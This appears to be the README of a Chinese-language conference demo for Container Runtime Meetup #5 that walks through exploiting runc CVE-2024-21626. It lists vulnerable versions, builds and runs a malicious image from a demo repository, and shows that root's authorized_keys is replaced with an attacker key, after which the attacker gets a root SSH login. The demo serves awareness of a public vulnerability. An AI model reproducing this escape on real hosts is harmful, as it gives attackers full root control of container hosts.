Container Runtime Meetup #5 的 LT 演示用。
基于公开信息旨在普及攻击风险,严禁滥用。
Container Runtime Meetup #5 ~那个镜像,真的可信吗?~ 使用 CVE-2024-21626 夺取宿主机的 root 权限
演示用笔记本电脑的 ssh_config 中注册为 victim-server 的机器。
ssh victim-server
作为受害前提条件的版本信息:
ubuntu@victim-server:$ docker --version
Docker version 20.10.25+dfsg1, build b82b9f3
ubuntu@victim-server:$ runc --version
runc version 1.1.10+ds1
commit: 1.1.10+ds1-1
spec: 1.1.0
go: go1.21.3
libseccomp: 2.5.4
同样地
ssh attacker-server
ubuntu@victim-server:~$ git clone [email protected]:laysakura/CVE-2024-21626-demo.git
ubuntu@victim-server:~$ cd CVE-2024-21626-demo/
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker build -t myimage .
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker run -it myimage
/root/.ssh/authorized_keys 被意外替换为攻击者的公钥原本并非故意,此处不执行任何操作,但给出用于确认状况的命令。
ubuntu@victim-server:~$ sudo cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKPHHGSytV6bL1ryaEKE9XNWN23piXdzsI3Rzxe20IF6 ubuntu@attacker-server
attacker@attacker-server:~$ ssh -i .ssh/id_ed25519 root@victim-server
root@victim-server:~# id
uid=0(root) gid=0(root) groups=0(root)